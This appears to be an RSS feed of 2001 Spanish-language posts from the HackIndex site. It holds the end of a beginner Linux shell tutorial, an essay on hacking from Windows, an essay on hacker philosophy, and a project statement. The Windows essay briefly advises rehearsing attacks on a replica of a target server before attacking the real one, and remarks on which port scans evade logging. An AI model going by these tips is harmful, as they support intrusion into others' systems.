<p>La primera órden cd -, vuelve al anterior directorio en el que hayamos estado, y con la segúnda órden, indicamos el camino completo. También se puede indicar un camino relativo, veamos como.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro] cd -<br />
[carpeta] cd ../mi<br />
[mi] cd ../../genaro<br />
[genaro] cd mi<br />
[mi] _</td>
</tr>
</table>
<p>El directorio &quot;mi&quot;, está a la misma altura que el directorio &quot;carpeta&quot;, ambos cuelgan del directorio &quot;genaro&quot;, asi que vamos al directorio &quot;mi&quot; dando como referencia el directorio padre, (los dos puntos), &quot;../mi&quot;. Estando en el directorio &quot;mi&quot;, la órden &quot;cd ../../genaro&quot; es equivalente a &quot;cd ..&quot;, simplemente hemos dado un rodeo. Voy a introducir en este punto una órden, la órden es &quot;touch&quot;, sirve para crear un fichero si no existe.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[mi]$ touch fichero1<br />
[mi]$ ls<br />
fichero1</td>
</tr>
</table>
<p>Hemos creado un fichero llamado &quot;fichero1&quot;, este fichero estará vacío, no contiene nada. Vamos al directorio padre, y vamos con lo último que nos queda de los directorios, el borrado de estos. El borrado de directorios se hace con &quot;rmdir&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[mi]$ cd ..<br />
[genaro]$ ls<br />
carpeta mi mi carpeta<br />
[genaro]$ rmdir carpeta<br />
[genaro]$ ls<br />
mi mi carpeta<br />
[genaro]$ rmdir &quot;mi carpeta&quot;<br />
[genaro]$ ls<br />
mi<br />
[genaro]$ rmdir mi<br />
rmdir: mi: Directory not empty<br />
[genaro] _</td>
</tr>
</table>
<p>No podemos borrar el directorio &quot;mi&quot;, por que hemos creado antes el fichero &quot;fichero1&quot;. tenemos que entrar en ese directorio, borrar el fichero, volver y borrar el directorio. Para borrar ficheros, usamos la órden &quot;rm&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ cd mi<br />
[mi]$ rm fichero1<br />
[mi]$ ls<br />
[mi]$ cd ..<br />
[genaro]$ rmdir mi<br />
[genaro]$ ls<br />
[genaro]$ _</td>
</tr>
</table>
<p>Ya está, hay otra forma de borrar directorios que no están vacios, es con la órden &quot;rm -r&quot;, la r de recursivo. Para salir de una sesión abierta de Linux, se usa la órden exit.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ exit<br />
Linux Debian (Potatoe)<br />
Login:</td>
</tr>
</table>
<p>Y volveremos a ver el login inicial. De momento y como no sabemos parar un sistema Linux, para pararlo usamos la combinación de teclas &quot;Control + Alt + Delete&quot;, cuando esté el ordenador a punto de arrancar otra vez, lo para pulsando el botón de power.</p>
<p>Resumen: hasta ahora hemos visto:</p>
<li>Entrar y salir en una sesión.</li>
<li>Qué es esa pantalla negra.</li>
<li>Crear y borrar directorios.</li>
<li>Moverse entre directorios.</li>
<li>Qué fichero hay en cada directorio.</li>
<li>Borrar ficheros.</li>
<p>Próxima sesión, más de lo mismo.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>¿Se puede hackear desde Windows?</title>
		<link>http://www.hackindex.com/index.php/2001/06/se-puede-hackear-desde-windows/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/se-puede-hackear-desde-windows/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:03:18 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[filosofia hacker]]></category>
		<category><![CDATA[hackear]]></category>
		<category><![CDATA[hackear windows]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacking windows]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[sistemas operativos]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=51</guid>
		<description><![CDATA[##################################### ##                                 HACKINDEX                               ## ##                     http://www.hackindex.org                    ## ##################################### Titulo: ¿Se puede hackear desde Windows? Autor: Lokutus Tema: Windows La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
##                                 HACKINDEX                               ##<br />
##                     <a href="http://www.hackindex.org">http://www.hackindex.org</a>                    ##<br />
#####################################<br />
Titulo: ¿Se puede hackear desde Windows?<br />
Autor: Lokutus<br />
Tema: Windows</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>¿SE PUEDE HACKEAR DESDE WINDOWS?<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>A veces, y leyendo las news o algún foro desde la web, uno se encuentra afirmaciones tales como, &#8220;No se puede hacer hacking desde Windows&#8221;, &#8220;para ser hacker tienes que tener linux, si no eres un lamer&#8221;</p>
<p>Aclaremos un primer punto, ¿qué es un hacker?, existen casi tantas definiciones como personas existen.</p>
<p>Si nos vamos al lexicon, o leemos el artículo de Richard Stalmand acerca de &#8220;como ser un hacker&#8221;, observamos que según algunos circulos, ser hacker no consiste en romper la seguridad de sistemas informáticos, si no en resolver problemas, desarrollar software libre, hacer traducciones, soporte gratuito en las news y en el IRC ayudando a los que tienen problemas, e incluso hacer trabajos menos reconocidos como moderar grupos de noticias o listas de correo.</p>
<p>Bajo ese punto de vista, es obvio que se puede desarrollar software libre para cualquier sistema operativo, ya sea Windows, BeOS, Linux o BSD en cualquiera de sus variantes. Y desde ese punto de vista, es probable que existan más hackers en &#8220;es.comp.linux.misc&#8221; que en &#8220;es.comp.hackers&#8221;.</p>
<p>A menudo leyendo documentaciones o escritos procedentes del mundo del software libre, encuentro la palabra &#8220;hackear&#8221;, a veces esa palabra la traduzco como &#8220;desarrollar&#8221;, y otras veces como &#8220;hacer ingeniería inversa&#8221; o &#8220;aprender todo acerca del funcionamiento del software XXX&#8221;.</p>
<p>Por ejemplo, cuando alguien intenta hallar el formato de un tipo de documento, o gráficos que no está documentado, o un protocolo, está hackeando. Los que programaron el software para ver DVD en linux, hackearon el sistema de encriptación del DVD.</p>
<p>Naturalmente, Windows es una plataforma más cerrada sobre la que tienes menos información, y hay cosas que desearía desarrollar pero que no puedo hacerlas por carecer de información técnica. Sin embargo en Linux hay toda la información que necesito.</p>
<p>Si nos centramos en el otro significado de la palabra &#8220;hacker&#8221;, invadir sistemas informáticos ajenos, o al menos ser capaz de hacerlo. También se puede hacer desde Windows. Nuevamente, es posible que inicialmente carezcamos de Herramientas, pero poco a poco podemos conseguirlas.</p>
<p>Por otro lado, muchas herramientas no se van a ejecutar en la máquina del &#8220;hacker&#8221; si no en la máquina destino, como los root shell, los zapper, etc.</p>
<p>A veces en la máquina &#8220;victima&#8221; no dispondrá de compilador, y necesitaremos compilar en nuestra propia máquina las &#8220;herramientas&#8221;, pero, ¿y si tienes linux y la máquina destino es un Solaris?, ¿y si una vez escarmentado, te has instalado solaris y la máquina de destino es un BSD en plataforma Power PC?, por muchos sistemas operativos que tengamos instalados siempre nos encontraremos con el problema de no poder compilar una herramienta.</p>
<p>Un hacker, según muchas definiciones, es ante todo un forofo de la informática, alguien que siempre está liado con ordenadores, y en mi opinión un forofo lo mismo que en un momento dado trastea con Linux, en el momento siguiente está trasteando con Windows 2000, y en el siguiente con BSD.</p>
<p>¿Visteis la película &#8220;RAMBO&#8221; cuando dice, &#8220;yo he pilotado tanques, helicopteros, y he manejado todo tipo de armas&#8221;?, pues es un poco, como ser un &#8220;RAMBO&#8221; pero de la informática, ser capaz de pilotar cualquier sistema operativo que le pongan por delante, poder meterse con cualquier lenguaje de programación, o al menos aprenderlo en poco tiempo.</p>
<p>Si, si, ya se que el que mucho abarca poco aprieta, pero el que tiene los conceptos bien claros, puede abarcar mucho, un desarrollador de software experto, cuando piensa en una arquitectura de software, le importa tres carajos en qué lenguaje de programación se va a desarrollar. A ningún programador de verdad, le asusta meterse de repente en Modula 2 cuando siempre ha programado en C, por ejemplo.</p>
<p>De la misma forma, meterse de repente con Open VMS, o con MVS no debería asustar a nadie si tiene los conceptos claros acerca de qué es un sistema operativo y como funciona. Al principio tendrá que ler mucho y hacerse chuletas, pero en un par de semanas como el que más.</p>
<p>En mi opinión, e independientemente del concepto de &#8220;hacker&#8221; que tengamos, puede ser util montarse un laboratorio &#8220;hacker&#8221; en casa, siempre y cuando sea posible.</p>
<p>Para empezar, aunque no imprescindible, pero si muy, muy aconsejable, disponer de varios ordenadores, yo en casa tengo siete ordenadores, pero si vivis con vuestros padres o estais casados no es aconsejable tener tantos, puesto que podeis tener problemas familiares, y puede que os envien a una terapia de grupo.</p>
<p>Un segundo o tercer ordenador, lo podeis conseguir de segunda mano bastante baratos, por ejemplo los que vivais en Madrid, podeis conseguir un Pentium 90 &#8211; 100 por unas 20.000.</p>
<p>Lo que llevais un tiempo usando ordenadores y sabeis algo de hartware, es muy probable que cada cierto tiempo actualizais vuestro ordenador, le cambiais la placa base, la tarjeta de video, y poco a poco, os encontrais con que teneis el ordenador original que teníais en piezas sueltas, en ese caso, sólo os falta compraros una caja minitorre para tener un segundo o tercer PC.</p>
<p>El segundo paso es instalaros una pequeña red local en vuestra casa, las tarjetas de red actualmente están tiradas de precio, por unas 2000 pesetas podeis conseguirlas. Un Hub de 4 puertos tampoco vale tanto, aunque os lo podeis ahorrar si adquiris tarjetas con conectores de varios tipos y os instalais la red con cableado coaxial.</p>
<p>Tambien os podeis ahorrar la compra de varios monitores con un conmutador de pantalla-teclado-raton, hay dos tipos de este dispositivo, los más baratos, son una vulgar caja con un conmutador de galleta dentro, eso suele dar problemas al conmutar, por ejemplo que el teclado deje de funcionar y tengais que rearrancar un ordenador. A veces por culpa de los falsos contactos, se os puede poner el monitor de color verde, o azul.</p>
<p>Los digitales, cuestan algo más de dinero, pero merecen la pena.</p>
<p>Usando varios ordenadores, podeis instalaros varios sistemas operativos, Windows, Linux, BSD, servidores web.</p>
<p>Si os va el hacking de guante blanco, podeis usar vuestra red casera para probar aplicaciones cliente servidor,</p>
<p>Si os va el lado oscuro de la fuerza, podeis usar vuestra red casera para replicar en una de vuestras máquinas un servidor que querais atacar, (las mismas versiones de todo), y probar a atacar vuestro propio servidor, cuando consigais entrar, lo intentais con el servidor que habeis replicado de tal forma que vais directamente al grano.</p>
<p>E incluso si solo intentais aprender acerca de seguridad informática, podeis intentar atacar un servidor vuestro, y desde el servidor observar en qué notais el ataque.</p>
<p>Por ejemplo, he observado que en un Linux, sin ninguna herramienta de seguridad, son más invisibles los escaneos de puerto de tipo full que los invisibles de tipo &#8220;sync&#8221;, por que algunos software de servidor, cuando reciben una trama &#8220;sync&#8221;, envían un mensaje de error al fichero de trazas.</p>
<p>Por otro lado, muchos, muchísimos bugs de seguridad, surgen para plataformas Windows, de tal forma que, ¿es posible detectar un bug en Windows si solo usas linux?, pues no. De hecho algo de lo que estoy convencido, es que muchos bugs de seguridad que aparecen tanto para Windows como para Linux, no han sido descubiertos por grupos de hackers, si no por administradores de sistemas, que los trabajan dia a dia o por empresas de seguridad informática.</p>
<p>Resumen: ¿Es &#8220;vergonzoso&#8221; usar OutLook para enviar a las news?, cada cual usa lo que quiere o le apetece, a veces uso OutLook desde Windows y a veces netscape desde Linux, depende de lo que esté haciendo,</p>
<p>Si envio mensajes desde Windows, o bien estoy en el trabajo, o bien estoy desarrollando algo en VC++. O estoy asimilando un virus. Si envío algo desde Linux, o bien estoy en el IRC, o bien estoy haciendo un simulador de troyanos en GTK efilon plan experimental.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/se-puede-hackear-desde-windows/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>¿Qué es un hacker? Filosofía hacker</title>
		<link>http://www.hackindex.com/index.php/2001/06/%c2%bfque-es-un-hacker-filosofia-hacker/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/%c2%bfque-es-un-hacker-filosofia-hacker/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:02:03 +0000</pubDate>
		<dc:creator>NBK</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Conceptos Hackhetics]]></category>
		<category><![CDATA[conceptos]]></category>
		<category><![CDATA[cultura hacker]]></category>
		<category><![CDATA[etica hacker]]></category>
		<category><![CDATA[filosofia hacker]]></category>
		<category><![CDATA[hackear]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[hackhetics]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[nbk]]></category>
		<category><![CDATA[que es un hacker]]></category>
		<category><![CDATA[underground]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=47</guid>
		<description><![CDATA[##################################### ##                                 HACKINDEX                               ## ##                     http://www.hackindex.org                    ## ##################################### Titulo: ¿Qué es un hacker? Filosofía hacker Autor: NBK Tema: Conceptos Hackhetics La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
##                                 HACKINDEX                               ##<br />
##                     <a href="http://www.hackindex.org">http://www.hackindex.org</a>                    ##<br />
#####################################<br />
Titulo: ¿Qué es un hacker? Filosofía hacker<br />
Autor: NBK<br />
Tema: Conceptos Hackhetics</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p><strong>Inspirado en <em><a href="http://web.archive.org/web/20080109025422/http://www.hackindex.org/cceh.htm">&#8220;How to become a Hacker&#8221;</a></em>, de Eric S.Raymond</strong></p>
<p>Para quien no haya oido hablar de Eric S.Raymond, uno de los gurus de la &#8220;vieja guardia&#8221;, es editor del <a href="http://web.archive.org/web/20080109025422/http://www.ccil.org/jargon">&#8220;Jargon&#8221;</a> (La Jerga) y creador y fomentador de numerosos proyectos, muchos de ellos en la red, para los interesados podeis visitar <a href="http://web.archive.org/web/20080109025422/http://www.tuxedo.org/~esr/sitemap.html">el Mapa de la Web de Eric</a> y daros una vuelta por su extenso site.</p>
<p>En el articulo &#8220;How to become a Hacker&#8221;, Eric intenta dar respuesta a muchas de lasdudas mas frecuentes con respecto al Hacking, la filosofia Hacker y los Hackers en si mismos. En mi opinion, si bien nadie se haya en posesion de la verdad absoluta y menos en un fenomeno tan extendido y amplio, consigue acercarse a la mayoria de los temas con total acierto, y hace que los no Hackers tengan una vision mucho mas clara y definida de estas filosofia, y que los Hackers se vean reflejados y esbozen muy a menudo una sonrisa al observar su propia imagen.</p>
<p><em>- ¿Que es un Hacker? -</em></p>
<p>Concisa y certeramente Eric relaciona fundamentalmente a los Hackers con la &#8220;afición a lo técnico, capacidad de deleitarse en la solución de problemas y a sobrepasar los límites&#8221;. Estas caracteristicas podrian quizas parecer demasiado genericas, pero si consideramos la mentalidad Hacker como &#8220;independiente del medio particular en el que el Hacker trabaja&#8221;, observaremos que la filosofia hacker es aplicada por muchos a otras facetas de la vida alejadas de la Informatica.</p>
<p>Por tanto un Hacker, independientemente del medio, es una persona que controla y gusta de conocer todos los aspectos tecnicos del mismo, y que dedica la mayor parte del tiempo en resolver los problemas que encuentra, convirtiendose esto para el en un continuo reto que le proporciona nuevas vias de conocimiento y una gran satisfaccion personal. Esta continua busqueda no tiene fin, y en eso radica gran parte de su eso radica gran parte de su aliciente.</p>
<p>Pero lo que nos ocupa es el Hacker informatico.</p>
<p>La evolucion de Internet a nivel mundial a patrocinado en cierto modo la confusion en torno al termino &#8220;Hacker&#8221;. No todo aquel que se introduce en una red saltandose los sistemas de seguridad es un Hacker, al igual que no todo aquel que acude a un gimnasio es culturista profesional, de hecho, y valga el simil para quien sepa entender, la gran mayoria de los adolescentes que se apuntan a un gimnasio acaban por dejarlo a las pocas semanas. La imagen actual del Hacker en la sociedad es en gran parte negativa, debido a muchos que se autodenominan Hackers y gustan de reventar sistemas y aprovecharse de defectos tecnicos en su propio beneficio, son los denominados &#8216;Crackers&#8217; y a menudo &#8220;descritos erroneamente por los medios de comunicacion como Hackers&#8221;, como muy bien indica Eric:</p>
<p>&#8220;La diferencia básica es esta: los hackers construyen cosas, los crackers las destruyen.&#8221;</p>
<p>Ademas un Hacker nunca se llamara de este modo asi mismo hasta que los demas lo hagan, o hasta que sea considerado como tal. Es simplemente una cuestion de etiquetas, y lo importante no es lo que seas sino &#8220;como&#8221; hagas las cosas.</p>
<p><em>- Filosofia Hacker -</em></p>
<p>El Hacker mira el mundo como lo haria cualquiera, pero ve cosas que otro no veria. Y mas alla, ansia conocer lo que no comprende, arreglar lo que no fque no comprende, arreglar lo que no funciona, y cambiar lo que no le gusta.</p>
<p>Ahora es cuando podeis entender facilmente, porque el poder teme a los Hackers tanto. Son la conciencia del sistema, y esa conciencia pone en marcha el motor que lo hace andar. Eric S. Raymond por su parte, resume el pensamiento Hacker en varios lemas fundamentales:</p>
<p><em>&#8220;1. El mundo está lleno de problemas fascinantes que esperan ser resueltos.&#8221;</em></p>
<p>Como habreis comprobado, ambos estamos de acuerdo en este punto.</p>
<p>Si ves las cosas de esta manera ya tienes bastante a tu favor de antemano ya que, si te sientes motivado a conseguir tu objetivo incluso antes de empezar, no tendras necesidad de motivacion adicional durante el duro trayecto que muchas veces se te presentara para su consecucion.</p>
<p><em>&#8220;2. Nadie debería tener que resolver un problema dos veces.&#8221;</em></p>
<p>Para que perder el tiempo cuando podrias estar resolviendo cualquier otro. Aqui entra necesariamente un viejo debate sobre si se debe o no compartir toda informacion con otros hackers, Eric defiende que se pueda &#8220;vender&#8221; cierta informacion siempre que no abandones tus valores como Hacker. Personalmente aspiro a otro ideal, pero es dificil abstraerse de la realidad&#8230;.y por eso debemos intentar cambiarla.</p>
<p><em>&#8220;3. Lo aburrido y lo rutinario es malo.&#8221;</em></p>
<p>La repeticion ya no es un reto, aunque a veces supone mayor experiencia. En definitiva, deberiamos aceptar o no la rutina, libremente.</p>
<p><em>&#8220;4. La libertad es buena.&#8221;</em></p>
<p>Porque da cobijo a la creatividad, a la evolucion y al enriquecimiento. La libertad te garantiza centrarte en lo que de verdad te interesa.</p>
<p>Podrias ver aqui un cierto grado libertario o anarquista, y en verdad lo hay, pero un Hacker puede ver incluso mas alla y, citando a Eric:</p>
<p>&#8220;aceptar cierta clase de autoridad para poder obtener algo que valore más que el tiempo que gasta en seguir órdenes.&#8221;</p>
<p>Es decir, nunca hacer de nuestra filosofia nuestro mayor enemigo. Esto no es una aceptacion, es un uso. No aceptar todas regla como buena, aceptar la buena regla. Algo importante es que la informacion otorga libertad, y a su vez hace falta libertad para que la informacion abunde, no es dificil extraer la conclusion de que la desinformacion y la censura traen el autoritarismo y la esclavitud.</p>
<p><em>&#8220;5. La actitud no es sustituto para la habilidad.&#8221;</em></p>
<p>Nunca hay que olvidar que por adoptar una cierta actitud uno no se convierte automaticamente en Hacker, debes desarrollar tus habilidades. Si disfrutas con el virtusiosmo de los demas lo haras mucho mas si consigues hacerlo tu mismo, esto requiere trabajo, y el trabajo requiere motivacion&#8230;para eso es para lo que requieres de tus actitudes. Pero desconfia de los &#8220;posers&#8221;, porque confunden el fin con los medios.</p>
<p>Y esto es lo basico, en cuanto a la teoria que sustenta las acciones en un Hacker, espero que con la magnifica diseccion de Eric y mis subjetivos comentarios haya contribuido a un mayor entendimiento de este profuso tema.</p>
<p>Para los interesados en consultar el texto original de Eric, consulta mi version en Español <a href="http://web.archive.org/web/20080109025422/http://www.hackindex.org/cceh.htm">Como convertirse en Hacker</a></p>
<p>Para finalizar este capitulo, desde mi punto de vista, lo mas valioso de esta la filosofia Hacker radica precisamente en el tipo de persona que suele sustentarla y esa es, sin duda, una persona LIBRE.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/%c2%bfque-es-un-hacker-filosofia-hacker/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>El porqué de este proyecto</title>
		<link>http://www.hackindex.com/index.php/2001/06/el-porque-de-este-proyecto/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/el-porque-de-este-proyecto/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:01:51 +0000</pubDate>
		<dc:creator>NBK</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[El Proyecto]]></category>
		<category><![CDATA[cultura hacker]]></category>
		<category><![CDATA[escena hispana]]></category>
		<category><![CDATA[hackear]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[nbk]]></category>
		<category><![CDATA[underground]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=19</guid>
		<description><![CDATA[##################################### ##                                 HACKINDEX                               ## ##                     http://www.hackindex.org                    ## ##################################### Titulo: El porqué de este proyecto Autor: NBK Tema: HackIndex: El Proyecto La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<div class="texto">
<p>#####################################<br />
##                                 HACKINDEX                               ##<br />
##                     <a href="http://www.hackindex.org">http://www.hackindex.org</a>                    ##<br />
#####################################<br />
Titulo: El porqué de este proyecto<br />
Autor: NBK<br />
Tema: HackIndex: El Proyecto</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>Básicamente y en mi particular visión, que creo es la de todos, se pretende ante todo contribuir al conocimiento, comprensión y desmitificación de la cultura Hacker.</p></div>
<div class="texto">Los grupos de noticias, las listas de correo y en general la red parecen haber caído en una estéril espiral en la que pocas o casi ninguna vez se crean posos que puedan ayudar a la germinación de nuevas semillas. El viejo lema de &#8216;Búscalo tu mismo&#8217; carece cada vez mas de sentido en la enorme y compleja comunidad actual, repleta para mayor frustración de numerosos callejones sin salida, estaciones de tren abandonadas o en el mejor de los casos interesada desinformación.</div>
<div class="texto">Me planteo de que sirve todo esto si no hay garantía para la conservación de la cultura que entre todos creamos. Ni encuentro sentido a que esa preservación supongo encaminarnos al secretismo y la ostracion, frente a la que por otra parte todos a menudo nos mostramos hostiles.</div>
<div class="texto">Eran precisamente esas actitudes las que combatíamos.</div>
<div class="texto">Aun mas difícil panorama tienen los &#8220;newbies&#8221; hispanos ante una base referencial casi estrictamente anglosajona y, si bien el dominio de la lengua inglesa se hace imprescindible a cualquiera que desee progresar, creo que la comunidad hispana tiene el suficiente aval en la actualidad como para ofrecer una gama de recursos de cualquier tipo en su idioma, cualitativamente equiparables a los de la escena internacional.</div>
<div class="texto">Y bueno, teniendo en cuento todo esto y sin querer enrollarme mas&#8230; <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  Aquí tenéis nuestra modesta aportación a la cultura Hacker hispana, y a la escena Underground en general. Una guía de iniciación para el estudiante y un foro de discusión y contraste para los mas veteranos.</div>
<div class="texto">Al fin y al cabo todas las grandes andaduras, se inician con un primer paso.</div>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/el-porque-de-este-proyecto/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
